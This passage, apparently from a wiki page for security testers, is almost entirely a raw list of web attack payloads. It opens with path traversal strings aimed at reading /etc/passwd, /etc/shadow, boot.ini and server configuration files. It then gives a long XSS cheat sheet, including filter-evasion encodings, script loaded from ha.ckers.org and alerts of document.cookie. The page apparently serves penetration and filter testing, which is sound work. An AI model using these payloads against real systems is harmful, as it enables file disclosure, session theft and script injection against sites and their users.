/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> 